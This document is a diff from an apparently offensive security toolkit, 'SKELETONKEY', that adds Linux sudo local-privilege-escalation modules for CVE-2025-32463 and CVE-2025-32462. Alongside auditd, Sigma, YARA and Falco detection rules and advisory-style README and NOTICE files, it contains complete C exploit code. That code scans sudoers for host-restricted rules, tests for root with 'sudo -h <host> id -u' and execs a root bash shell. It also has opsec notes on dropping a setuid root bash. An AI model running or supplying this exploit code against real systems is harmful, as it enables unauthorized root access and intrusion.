"# rare; any --chroot in shell history is investigation-worthy.\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k skeletonkey-sudo-chroot\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/bin/sudo -k skeletonkey-sudo-chroot\n"
|
||||
"# Also flag writes under any /tmp/skeletonkey-chwoot-* path or to\n"
|
||||
"# the canonical drop site /tmp/skeletonkey-chwoot-shell.\n"
|
||||
"-w /tmp -p w -k skeletonkey-sudo-chroot-drop\n";
|
||||
|
||||
static const char sudo_chwoot_sigma[] =
|
||||
"title: Possible CVE-2025-32463 sudo --chroot LPE\n"
|
||||
"id: e9b7a420-skeletonkey-sudo-chwoot\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects sudo invoked with --chroot pointing at a user-writable\n"
|
||||
" directory, plus a setuid-root binary appearing under /tmp shortly\n"
|
||||
" afterwards. Legit --chroot use is extremely rare; the combination\n"
|
||||
" with a fresh setuid drop is diagnostic.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" sudo_chroot: {type: 'SYSCALL', syscall: 'execve', comm: 'sudo', argv|contains: '--chroot'}\n"
|
||||
" condition: sudo_chroot\n"
|
||||
"level: critical\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2025.32463]\n";
|
||||
|
||||
static const char sudo_chwoot_yara[] =
|
||||
"rule sudo_chwoot_cve_2025_32463 : cve_2025_32463 setuid_abuse {\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2025-32463\"\n"
|
||||
" description = \"SKELETONKEY sudo_chwoot artifacts — NSS shim + setuid bash drop\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $shell = \"/tmp/skeletonkey-chwoot-shell\" ascii\n"
|
||||
" $wdir = \"/tmp/skeletonkey-chwoot-\" ascii\n"
|
||||
" $nssmod = \"libnss_skeletonkey.so.2\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char sudo_chwoot_falco[] =
|
||||
"- rule: sudo --chroot from non-root with user-writable target\n"
|
||||
" desc: |\n"
|
||||
" sudo invoked with --chroot pointing at a directory in /tmp\n"
|
||||
" or /home. Legitimate --chroot use is rare; the combination\n"
|
||||
" with a writable target is the CVE-2025-32463 trigger.\n"
|
||||
" condition: >\n"
|
||||
" spawned_process and proc.name = sudo and\n"
|
||||
" proc.args contains \"--chroot\" and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" sudo --chroot from non-root (user=%user.name pid=%proc.pid\n"
|
||||
" cmdline=\"%proc.cmdline\")\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2025.32463]\n";
|
||||
|
||||
/* ---- module struct -------------------------------------------------- */
|
||||
|
||||
const struct skeletonkey_module sudo_chwoot_module = {
|
||||
.name = "sudo_chwoot",
|
||||
.cve = "CVE-2025-32463",
|
||||
.summary = "sudo --chroot NSS-shim → libnss_*.so dlopen as root (Stratascale)",
|
||||
.family = "sudo",
|
||||
.kernel_range = "userspace — sudo 1.9.14 ≤ V ≤ 1.9.17p0 (fixed in 1.9.17p1)",
|
||||
.detect = sudo_chwoot_detect,
|
||||
.exploit = sudo_chwoot_exploit,
|
||||
.mitigate = NULL, /* mitigation: upgrade sudo to 1.9.17p1+ */
|
||||
.cleanup = sudo_chwoot_cleanup,
|
||||
.detect_auditd = sudo_chwoot_auditd,
|
||||
.detect_sigma = sudo_chwoot_sigma,
|
||||
.detect_yara = sudo_chwoot_yara,
|
||||
.detect_falco = sudo_chwoot_falco,
|
||||
.opsec_notes = "Creates /tmp/skeletonkey-chwoot-XXXXXX/ workdir containing etc/nsswitch.conf + lib/{x86_64,aarch64}-linux-gnu/libnss_skeletonkey.so.2 (compiled via gcc; /tmp/skk-chwoot-gcc.log captures any build error). Runs sudo --chroot=<workdir> -u#-1 woot to trigger NSS dlopen; the .so's ctor drops /tmp/skeletonkey-chwoot-shell (setuid root bash). Audit-visible via execve(/usr/bin/sudo) with --chroot in argv, then chown/chmod 4755 on /tmp/skeletonkey-chwoot-shell from a uid-0 context. Cleanup callback removes the workdir but leaves the setuid bash (operator decision).",
|
||||
.arch_support = "any",
|
||||
};
|
||||
|
||||
void skeletonkey_register_sudo_chwoot(void)
|
||||
{
|
||||
skeletonkey_register(&sudo_chwoot_module);
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
#ifndef SUDO_CHWOOT_SKELETONKEY_MODULES_H
|
||||
#define SUDO_CHWOOT_SKELETONKEY_MODULES_H
|
||||
#include "../../core/module.h"
|
||||
extern const struct skeletonkey_module sudo_chwoot_module;
|
||||
#endif
|
||||
@@ -0,0 +1,63 @@
|
||||
# sudo_host — CVE-2025-32462
|
||||
|
||||
sudo `-h`/`--host` option honored beyond `-l` → abuse a host-restricted
|
||||
sudoers rule for local root.
|
||||
|
||||
## The bug
|
||||
|
||||
`sudo -h <host>` (a.k.a. `--host`) exists so that, combined with `-l`,
|
||||
you can list your sudo privileges *as they would apply on another host*.
|
||||
The flaw: sudo also consulted the `-h` value when **running a command**
|
||||
(and in `sudoedit`), so the host portion of a sudoers rule — normally
|
||||
fixed to the machine you're on — becomes attacker-chosen.
|
||||
|
||||
If your sudoers contains a rule like:
|
||||
|
||||
```
|
||||
alice webhost01 = (root) /usr/bin/systemctl
|
||||
```
|
||||
|
||||
then on a *different* machine `alice` normally can't use it. With the
|
||||
bug, `sudo -h webhost01 /usr/bin/systemctl ...` runs as root on the
|
||||
local box. With a broader rule (`webhost01 = (ALL) ALL`), `sudo -h
|
||||
webhost01 /bin/bash` is a root shell.
|
||||
|
||||
This matters most where one sudoers file (or LDAP/SSSD sudoers) is shared
|
||||
across a fleet and rules are scoped per host.
|
||||
|
||||
## Affected range
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| Affected | sudo 1.8.8 → 1.9.17p0 (~12-year-old behaviour) |
|
||||
| Fixed | sudo 1.9.17p1 |
|
||||
| Weakness | CWE-863 (Incorrect Authorization) |
|
||||
| Severity | CVSS 8.8 (High); not in CISA KEV |
|
||||
|
||||
## Trigger / detection
|
||||
|
||||
`detect()` reads the sudo version (shared host fingerprint, else a live
|
||||
`sudo --version`) and returns VULNERABLE inside `[1.8.8, 1.9.17p0]`,
|
||||
OK otherwise. The exploitable precondition — a host-restricted sudoers
|
||||
rule — is not reliably probeable from an unprivileged context, so the
|
||||
empirical confirmation lives in the exploit path.
|
||||
|
||||
`exploit()`:
|
||||
1. Resolves the host token to abuse: `SKELETONKEY_SUDO_HOST` env var, or
|
||||
a best-effort scan of readable `/etc/sudoers` + `/etc/sudoers.d/*` for
|
||||
a user-spec whose host is neither the current hostname nor `ALL`.
|
||||
2. Witnesses with `sudo -n -h <host> id -u` (non-interactive).
|
||||
3. On a uid-0 witness, execs `sudo -h <host> /bin/bash`
|
||||
(override the command with `SKELETONKEY_SUDO_CMD`).
|
||||
|
||||
Returns `EXPLOIT_FAIL` with operator guidance when no abusable rule is
|
||||
discoverable — it never fabricates root.
|
||||
|
||||
## Fix / mitigation
|
||||
|
||||
Upgrade sudo to 1.9.17p1 or later. There is no safe runtime toggle for
|
||||
the `-h` behaviour short of the patch.
|
||||
|
||||
## Credit
|
||||
|
||||
Rich Mirch — Stratascale CRU (2025-06-30). See `NOTICE.md`.
|
||||
@@ -0,0 +1,49 @@
|
||||
# NOTICE — sudo_host (CVE-2025-32462)
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2025-32462** — sudo's `-h`/`--host` option, intended only to be
|
||||
used with `-l`/`--list` to display a user's privileges on a *different*
|
||||
host, was also honored when actually running a command (or via
|
||||
`sudoedit`). This lets a user evaluate the sudoers policy as though the
|
||||
machine were some other host: a sudoers rule scoped to a host that is
|
||||
neither the current machine nor `ALL` becomes usable locally via
|
||||
`sudo -h <that-host> <command>`, yielding command execution as root.
|
||||
|
||||
Primarily affects sites that distribute one sudoers file across a fleet,
|
||||
or use LDAP/SSSD-based sudoers, where host-restricted rules are common.
|
||||
|
||||
- Affected: sudo **1.8.8** through **1.9.17p0** (the `-h` behaviour is
|
||||
~12 years old). Fixed in **1.9.17p1**.
|
||||
- CWE-863 (Incorrect Authorization). CVSS 8.8 (High). Not in CISA KEV
|
||||
(the sibling `--chroot` bug CVE-2025-32463 is).
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered and disclosed by **Rich Mirch — Stratascale Cyber Research
|
||||
Unit (CRU)**, published 2025-06-30 alongside CVE-2025-32463.
|
||||
|
||||
- sudo.ws advisory: <https://www.sudo.ws/security/advisories/host_any/>
|
||||
- Stratascale writeup:
|
||||
<https://www.stratascale.com/resource/cve-2025-32462-sudo-host-option-vulnerability/>
|
||||
- Fixed in sudo 1.9.17p1 (Todd C. Miller, upstream maintainer).
|
||||
|
||||
All research credit belongs to Rich Mirch / Stratascale and the sudo
|
||||
maintainers. SKELETONKEY is the bundling and bookkeeping layer only.
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
🟢 **Structural escape (config-gated).** No offsets, no leak, no race.
|
||||
`detect()` gates on the sudo version (the host-restricted rule lives in a
|
||||
sudoers source the user usually cannot read — that opacity is the bug),
|
||||
so a VULNERABLE verdict means "vulnerable sudo present; an abusable rule
|
||||
may exist". `exploit()` best-effort reads `/etc/sudoers` +
|
||||
`/etc/sudoers.d/*` for a user-spec whose host field is neither the
|
||||
current hostname nor `ALL` (or takes the host from
|
||||
`SKELETONKEY_SUDO_HOST`), witnesses with `sudo -n -h <host> id -u`, and
|
||||
pops `sudo -h <host> /bin/bash` (override via `SKELETONKEY_SUDO_CMD`)
|
||||
only on a confirmed uid-0 witness — never claims root it did not get.
|
||||
|
||||
Mitigation: upgrade sudo to 1.9.17p1+. Architecture-agnostic
|
||||
(pure userspace). Joins the shared `sudo` family alongside
|
||||
`sudo_chwoot`, `sudo_samedit`, `sudo_runas_neg1`, and `sudoedit_editor`.
|
||||
@@ -0,0 +1,441 @@
|
||||
/*
|
||||
* sudo_host_cve_2025_32462 — SKELETONKEY module
|
||||
*
|
||||
* STATUS: 🟢 STRUCTURAL (config-gated). No offsets, no leak, no race.
|
||||
* Pure authorization-logic flaw: sudo's `-h`/`--host` option — meant
|
||||
* only to pair with `-l`/`--list` to show your privileges on ANOTHER
|
||||
* host — was honored when actually *running* a command (or sudoedit).
|
||||
* That makes the host field of a sudoers rule attacker-chosen: a rule
|
||||
* scoped to some host other than the current machine becomes usable
|
||||
* here via `sudo -h <that-host> <command>`.
|
||||
*
|
||||
* The bug (Rich Mirch, Stratascale CRU, disclosed 2025-06-30 alongside
|
||||
* the sibling --chroot bug CVE-2025-32463):
|
||||
* `sudo -h <host> <command>` evaluates the sudoers policy as though
|
||||
* the machine were <host>. A user listed in sudoers for a different
|
||||
* host (common with a fleet-wide sudoers file, or LDAP/SSSD sudoers)
|
||||
* can therefore run that host's commands as root on the local box.
|
||||
*
|
||||
* sudo.ws advisory: https://www.sudo.ws/security/advisories/host_any/
|
||||
*
|
||||
* Affects: sudo 1.8.8 ≤ V ≤ 1.9.17p0 (the `-h` option behaviour is
|
||||
* ~12 years old). Fixed in 1.9.17p1, which stops honoring `-h` outside
|
||||
* `-l`. CWE-863 (Incorrect Authorization). CVSS 8.8 (High). NOT in
|
||||
* CISA KEV (the sibling 32463 is).
|
||||
*
|
||||
* Precondition for exploitation (NOT for detection): the invoking user
|
||||
* must already be listed in sudoers for a host that is neither the
|
||||
* current hostname nor ALL. detect() can only gate on the sudo
|
||||
* version (the host-restricted rule lives in a sudoers source the user
|
||||
* usually cannot read — that opacity is the whole point of the bug),
|
||||
* so a VULNERABLE verdict here means "vulnerable sudo present; an
|
||||
* abusable host-restricted rule MAY exist". exploit() then tries to
|
||||
* find/fire one (or takes the host+command from env vars).
|
||||
*
|
||||
* arch_support: any. Pure userspace; no shellcode.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
#ifdef __linux__
|
||||
#include <pwd.h>
|
||||
#include <grp.h>
|
||||
#endif
|
||||
|
||||
/* ---- sudo family helpers (mirror the sibling sudo_* modules) -------- */
|
||||
|
||||
static const char *find_sudo(void)
|
||||
{
|
||||
static const char *candidates[] = {
|
||||
"/usr/bin/sudo", "/usr/sbin/sudo", "/bin/sudo",
|
||||
"/sbin/sudo", "/usr/local/bin/sudo", NULL,
|
||||
};
|
||||
for (size_t i = 0; candidates[i]; i++) {
|
||||
struct stat st;
|
||||
if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID))
|
||||
return candidates[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static bool get_sudo_version(const char *sudo_path, char *out, size_t outsz)
|
||||
{
|
||||
char cmd[512];
|
||||
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path);
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return false;
|
||||
char line[256] = {0};
|
||||
char *r = fgets(line, sizeof line, p);
|
||||
pclose(p);
|
||||
if (!r) return false;
|
||||
char *vp = strstr(line, "version");
|
||||
if (!vp) return false;
|
||||
vp += strlen("version");
|
||||
while (*vp == ' ' || *vp == '\t') vp++;
|
||||
char *nl = strchr(vp, '\n');
|
||||
if (nl) *nl = 0;
|
||||
strncpy(out, vp, outsz - 1);
|
||||
out[outsz - 1] = 0;
|
||||
return out[0] != 0;
|
||||
}
|
||||
|
||||
/* True iff the version is in the vulnerable range [1.8.8, 1.9.17p0].
|
||||
* Fixed in 1.9.17p1. Versions below 1.8.8 predate the `-h` behaviour. */
|
||||
static bool sudo_version_vulnerable_host(const char *v)
|
||||
{
|
||||
int maj = 0, min = 0, patch = 0;
|
||||
char ptag = 0;
|
||||
int psub = 0;
|
||||
int n = sscanf(v, "%d.%d.%d%c%d", &maj, &min, &patch, &ptag, &psub);
|
||||
if (n < 3) return true; /* unparseable → assume worst */
|
||||
if (maj != 1) return false;
|
||||
if (min < 8) return false; /* 1.7.x and below predate */
|
||||
if (min == 8) return patch >= 8; /* 1.8.8 .. 1.8.x */
|
||||
if (min > 9) return false; /* 1.10+ (hypothetical) fixed */
|
||||
/* min == 9 */
|
||||
if (patch < 17) return true; /* 1.9.0 .. 1.9.16 */
|
||||
if (patch > 17) return false; /* 1.9.18+ fixed */
|
||||
/* exactly 1.9.17 */
|
||||
if (ptag != 'p') return true; /* 1.9.17 plain → vulnerable */
|
||||
return psub == 0; /* 1.9.17p0 vuln; p1+ fixed */
|
||||
}
|
||||
|
||||
/* ---- detect --------------------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t sudo_host_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const char *sudo_path = find_sudo();
|
||||
if (!sudo_path) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] sudo_host: sudo not installed; bug unreachable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
char vbuf[64] = {0};
|
||||
const char *ver = NULL;
|
||||
if (ctx->host && ctx->host->sudo_version[0]) {
|
||||
ver = ctx->host->sudo_version;
|
||||
} else if (get_sudo_version(sudo_path, vbuf, sizeof vbuf)) {
|
||||
ver = vbuf;
|
||||
} else {
|
||||
if (!ctx->json) fprintf(stderr, "[!] sudo_host: could not read sudo --version\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
if (!ctx->json) fprintf(stderr, "[i] sudo_host: sudo version '%s'\n", ver);
|
||||
|
||||
if (!sudo_version_vulnerable_host(ver)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudo_host: sudo %s outside vulnerable range "
|
||||
"[1.8.8, 1.9.17p0] — patched or pre-feature\n", ver);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] sudo_host: sudo %s in vulnerable range — VULNERABLE\n", ver);
|
||||
fprintf(stderr, "[i] sudo_host: `-h`/`--host` honored beyond `-l` — a sudoers "
|
||||
"rule scoped to a non-current host is usable via `sudo -h <host>`\n");
|
||||
fprintf(stderr, "[i] sudo_host: exploitation requires such a host-restricted rule "
|
||||
"(common with fleet-wide / LDAP / SSSD sudoers). Run "
|
||||
"`--exploit sudo_host --i-know` to find/fire one.\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- exploit -------------------------------------------------------- */
|
||||
|
||||
#ifdef __linux__
|
||||
/* Does `tok` name a host that is exploitable from here — i.e. a specific
|
||||
* host that is neither the current hostname nor the ALL wildcard? */
|
||||
static bool host_is_abusable(const char *tok, const char *cur_host)
|
||||
{
|
||||
if (!tok || !*tok) return false;
|
||||
if (strcmp(tok, "ALL") == 0) return false; /* no restriction → no bug */
|
||||
if (tok[0] == '%' || tok[0] == '+') return false; /* netgroup/group, skip */
|
||||
if (strcasecmp(tok, cur_host) == 0) return false; /* already our host */
|
||||
/* A bare short-hostname form of the FQDN counts as "us" too. */
|
||||
const char *dot = strchr(cur_host, '.');
|
||||
if (dot) {
|
||||
size_t shortlen = (size_t)(dot - cur_host);
|
||||
if (strlen(tok) == shortlen && strncasecmp(tok, cur_host, shortlen) == 0)
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Best-effort scan of a sudoers source for a rule whose host field is
|
||||
* abusable. Fills *host_out with the host token to pass to `sudo -h`.
|
||||
* Returns true on the first hit. We do not try to fully parse the
|
||||
* sudoers grammar — we look for `<who> <host> = ...` user-spec lines and
|
||||
* test the host token. who may be the user, a %group, or ALL. */
|
||||
static bool scan_sudoers_file(const char *path, const char *user,
|
||||
const char *cur_host, char *host_out, size_t host_sz)
|
||||
{
|
||||
FILE *f = fopen(path, "r");
|
||||
if (!f) return false;
|
||||
char line[1024];
|
||||
bool hit = false;
|
||||
while (fgets(line, sizeof line, f)) {
|
||||
char *s = line;
|
||||
while (*s == ' ' || *s == '\t') s++;
|
||||
if (*s == '#' || *s == '\n' || *s == 0) continue;
|
||||
if (strncmp(s, "Defaults", 8) == 0) continue;
|
||||
if (strstr(s, "_Alias")) continue; /* alias defs, not user specs */
|
||||
if (strstr(s, "#include") || strncmp(s, "@include", 8) == 0) continue;
|
||||
|
||||
/* Must contain '=' (the host = command separator). */
|
||||
char *eq = strchr(s, '=');
|
||||
if (!eq) continue;
|
||||
|
||||
/* who = first token; host = second token (before '='). */
|
||||
char who[128] = {0}, host[256] = {0};
|
||||
if (sscanf(s, "%127s %255s", who, host) != 2) continue;
|
||||
/* strip a trailing '=' that sscanf may have grabbed onto host */
|
||||
char *he = strchr(host, '=');
|
||||
if (he) *he = 0;
|
||||
if (!host[0]) continue;
|
||||
|
||||
bool who_match = (strcmp(who, "ALL") == 0) ||
|
||||
(strcmp(who, user) == 0) ||
|
||||
(who[0] == '%'); /* group — best-effort match */
|
||||
if (!who_match) continue;
|
||||
|
||||
if (host_is_abusable(host, cur_host)) {
|
||||
snprintf(host_out, host_sz, "%s", host);
|
||||
hit = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
fclose(f);
|
||||
return hit;
|
||||
}
|
||||
|
||||
/* Try to discover an abusable host token from readable sudoers sources.
|
||||
* Most non-root users cannot read these (that's the bug's opacity), but
|
||||
* misconfigured / world-readable sudoers and some LDAP cache dumps are
|
||||
* common enough to be worth a look. */
|
||||
static bool discover_abusable_host(const char *user, const char *cur_host,
|
||||
char *host_out, size_t host_sz)
|
||||
{
|
||||
if (scan_sudoers_file("/etc/sudoers", user, cur_host, host_out, host_sz))
|
||||
return true;
|
||||
/* /etc/sudoers.d/* — enumerate via shell glob into a temp listing. */
|
||||
FILE *p = popen("ls -1 /etc/sudoers.d/ 2>/dev/null", "r");
|
||||
if (p) {
|
||||
char name[256];
|
||||
while (fgets(name, sizeof name, p)) {
|
||||
char *nl = strchr(name, '\n'); if (nl) *nl = 0;
|
||||
if (!name[0]) continue;
|
||||
char full[512];
|
||||
snprintf(full, sizeof full, "/etc/sudoers.d/%s", name);
|
||||
if (scan_sudoers_file(full, user, cur_host, host_out, host_sz)) {
|
||||
pclose(p);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
pclose(p);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Run `sudo -n -h <host> id -u` and return true if it printed "0"
|
||||
* (command executed as root). -n keeps it non-interactive so a password
|
||||
* prompt can't hang the scan. */
|
||||
static bool sudo_host_witness_root(const char *sudo_path, const char *host)
|
||||
{
|
||||
char cmd[768];
|
||||
snprintf(cmd, sizeof cmd,
|
||||
"%s -n -h %s id -u 2>/dev/null", sudo_path, host);
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return false;
|
||||
char out[64] = {0};
|
||||
char *r = fgets(out, sizeof out, p);
|
||||
pclose(p);
|
||||
if (!r) return false;
|
||||
return atoi(out) == 0 && (out[0] == '0');
|
||||
}
|
||||
#endif /* __linux__ */
|
||||
|
||||
static skeletonkey_result_t sudo_host_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
#ifndef __linux__
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] sudo_host: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#else
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] sudo_host: --i-know required for --exploit\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
skeletonkey_result_t pre = sudo_host_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] sudo_host: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] sudo_host: already running as root — nothing to do\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
const char *sudo_path = find_sudo();
|
||||
if (!sudo_path) {
|
||||
fprintf(stderr, "[-] sudo_host: sudo not installed\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
char cur_host[256] = {0};
|
||||
if (gethostname(cur_host, sizeof cur_host - 1) != 0) cur_host[0] = 0;
|
||||
struct passwd *pw = getpwuid(geteuid());
|
||||
const char *user = pw ? pw->pw_name : "";
|
||||
|
||||
/* The host token to abuse. Source priority:
|
||||
* 1. SKELETONKEY_SUDO_HOST env var (operator supplies it — the most
|
||||
* reliable path, since the host-restricted rule usually lives in
|
||||
* a sudoers source the user can't read).
|
||||
* 2. Best-effort discovery from readable sudoers. */
|
||||
char host_tok[256] = {0};
|
||||
const char *envh = getenv("SKELETONKEY_SUDO_HOST");
|
||||
if (envh && *envh) {
|
||||
snprintf(host_tok, sizeof host_tok, "%s", envh);
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] sudo_host: using SKELETONKEY_SUDO_HOST=%s\n", host_tok);
|
||||
} else if (discover_abusable_host(user, cur_host, host_tok, sizeof host_tok)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudo_host: found abusable host-restricted rule "
|
||||
"(host '%s' != current '%s') in readable sudoers\n",
|
||||
host_tok, cur_host);
|
||||
} else {
|
||||
fprintf(stderr,
|
||||
"[-] sudo_host: no abusable host-restricted rule discoverable.\n"
|
||||
" The vulnerable sudo is present, but exploitation needs a sudoers\n"
|
||||
" rule scoped to a host other than '%s' (and not ALL), which is\n"
|
||||
" typically in a sudoers source you cannot read. If you know one\n"
|
||||
" (fleet-wide / LDAP / SSSD sudoers), supply it and re-run:\n"
|
||||
" SKELETONKEY_SUDO_HOST=<that-host> \\\n"
|
||||
" [SKELETONKEY_SUDO_CMD=/bin/bash] \\\n"
|
||||
" skeletonkey --exploit sudo_host --i-know\n",
|
||||
cur_host[0] ? cur_host : "(this host)");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Confirm the policy actually grants root on the local box when we
|
||||
* claim to be host_tok. `id -u` as the witness command. */
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] sudo_host: testing `sudo -n -h %s id -u`...\n", host_tok);
|
||||
if (!sudo_host_witness_root(sudo_path, host_tok)) {
|
||||
fprintf(stderr,
|
||||
"[-] sudo_host: `sudo -h %s id -u` did not return uid 0. Likely:\n"
|
||||
" - sudo is patched (1.9.17p1+) even if --version looked vulnerable\n"
|
||||
" - the rule for '%s' is command-restricted (doesn't grant `id`);\n"
|
||||
" set SKELETONKEY_SUDO_CMD to a command the rule DOES grant\n"
|
||||
" - the rule requires a password (we run -n / non-interactive)\n",
|
||||
host_tok, host_tok);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudo_host: WITNESS — `sudo -h %s` runs as uid 0. "
|
||||
"CVE-2025-32462 confirmed.\n", host_tok);
|
||||
|
||||
if (ctx->no_shell) {
|
||||
fprintf(stderr, "[i] sudo_host: --no-shell set; not popping. Reproduce with: "
|
||||
"sudo -h %s <command>\n", host_tok);
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
|
||||
/* Pop a root shell via the abused host. The granted command may be
|
||||
* restricted; default to /bin/bash but let the operator override to
|
||||
* whatever the rule actually permits. */
|
||||
const char *cmd = getenv("SKELETONKEY_SUDO_CMD");
|
||||
if (!cmd || !*cmd) cmd = "/bin/bash";
|
||||
fprintf(stderr, "[+] sudo_host: exec `sudo -h %s %s`\n", host_tok, cmd);
|
||||
fflush(NULL);
|
||||
execl(sudo_path, "sudo", "-h", host_tok, cmd, (char *)NULL);
|
||||
perror("execl(sudo -h)");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
#endif /* __linux__ */
|
||||
}
|
||||
|
||||
/* ---- detection rules ------------------------------------------------ */
|
||||
|
||||
static const char sudo_host_auditd[] =
|
||||
"# sudo_host CVE-2025-32462 — auditd detection rules\n"
|
||||
"# Flag sudo invocations; the abuse is `sudo -h <host>` running a\n"
|
||||
"# command (not just `-l`). auditd can't filter argv content, so this\n"
|
||||
"# watches sudo execve broadly — correlate with sudo's own logs, which\n"
|
||||
"# record the -h/--host value and the target command.\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k skeletonkey-sudo-host\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/bin/sudo -k skeletonkey-sudo-host\n";
|
||||
|
||||
static const char sudo_host_sigma[] =
|
||||
"title: Possible CVE-2025-32462 sudo --host policy-bypass LPE\n"
|
||||
"id: 7c1d9e54-skeletonkey-sudo-host\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects sudo invoked with -h/--host together with a command (not\n"
|
||||
" -l/--list). On sudo <= 1.9.17p0 the host option is honored when\n"
|
||||
" running commands, letting a user abuse a sudoers rule scoped to a\n"
|
||||
" different host. False positives: admins legitimately using\n"
|
||||
" `sudo -l -h <host>` to LIST remote privileges (no command present).\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" sudo_exec: {type: 'SYSCALL', syscall: 'execve', comm: 'sudo'}\n"
|
||||
" host_opt: {argv|contains: ['-h', '--host']}\n"
|
||||
" condition: sudo_exec and host_opt\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2025.32462]\n";
|
||||
|
||||
static const char sudo_host_falco[] =
|
||||
"- rule: sudo --host running a command by non-root (CVE-2025-32462)\n"
|
||||
" desc: |\n"
|
||||
" sudo invoked with -h/--host while running a command (not -l). On\n"
|
||||
" sudo <= 1.9.17p0 the host option is wrongly honored outside\n"
|
||||
" --list, so a sudoers rule scoped to another host can be abused\n"
|
||||
" for local root. False positives: `sudo -l -h <host>` used purely\n"
|
||||
" to list remote privileges.\n"
|
||||
" condition: >\n"
|
||||
" spawned_process and proc.name = sudo and\n"
|
||||
" (proc.cmdline contains \"-h \" or proc.cmdline contains \"--host\") and\n"
|
||||
" not proc.cmdline contains \"-l\" and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" sudo --host running a command by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid cmdline=\"%proc.cmdline\")\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2025.32462]\n";
|
||||
|
||||
/* ---- module struct -------------------------------------------------- */
|
||||
|
||||
const struct skeletonkey_module sudo_host_module = {
|
||||
.name = "sudo_host",
|
||||
.cve = "CVE-2025-32462",
|
||||
.summary = "sudo -h/--host honored beyond -l → abuse a host-restricted sudoers rule for local root (Stratascale)",
|
||||
.family = "sudo",
|
||||
.kernel_range = "userspace — sudo 1.8.8 ≤ V ≤ 1.9.17p0 (fixed in 1.9.17p1)",
|
||||
.detect = sudo_host_detect,
|
||||
.exploit = sudo_host_exploit,
|
||||
.mitigate = NULL, /* mitigation: upgrade sudo to 1.9.17p1+ */
|
||||
.cleanup = NULL, /* exploit runs a command as root; no persistent artifact */
|
||||
.detect_auditd = sudo_host_auditd,
|
||||
.detect_sigma = sudo_host_sigma,
|
||||
.detect_yara = NULL, /* behavioural (argv) bug — no file artifact to match */
|
